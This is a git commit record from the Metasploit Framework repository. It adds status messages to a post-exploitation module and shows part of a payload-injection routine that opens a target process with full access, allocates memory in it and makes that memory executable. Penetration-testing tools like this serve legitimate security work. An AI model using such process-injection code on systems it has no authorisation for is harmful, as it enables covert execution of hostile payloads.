Added more messages for the different stages in case a problems happens to better pinpoint it.

git-svn-id: file:///home/svn/framework3/trunk@14039 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Carlos Perez 2011-10-24 01:12:38 +00:00
parent f2e4278307
commit ef5d3e1d02
1 changed files with 3 additions and 0 deletions

View File

@ -186,8 +186,11 @@ class Metasploit3 < Msf::Post
pid = create_temp_proc(pay) if newproc
print_status("Injecting #{pay.name} into process ID #{pid}")
begin
print_status("Opening process #{pid}")
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
print_status("Generating payload")
raw = pay.generate
print_status("Allocating memory in procees #{pid}")
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
# Ensure memory is set for execution
host_process.memory.protect(mem)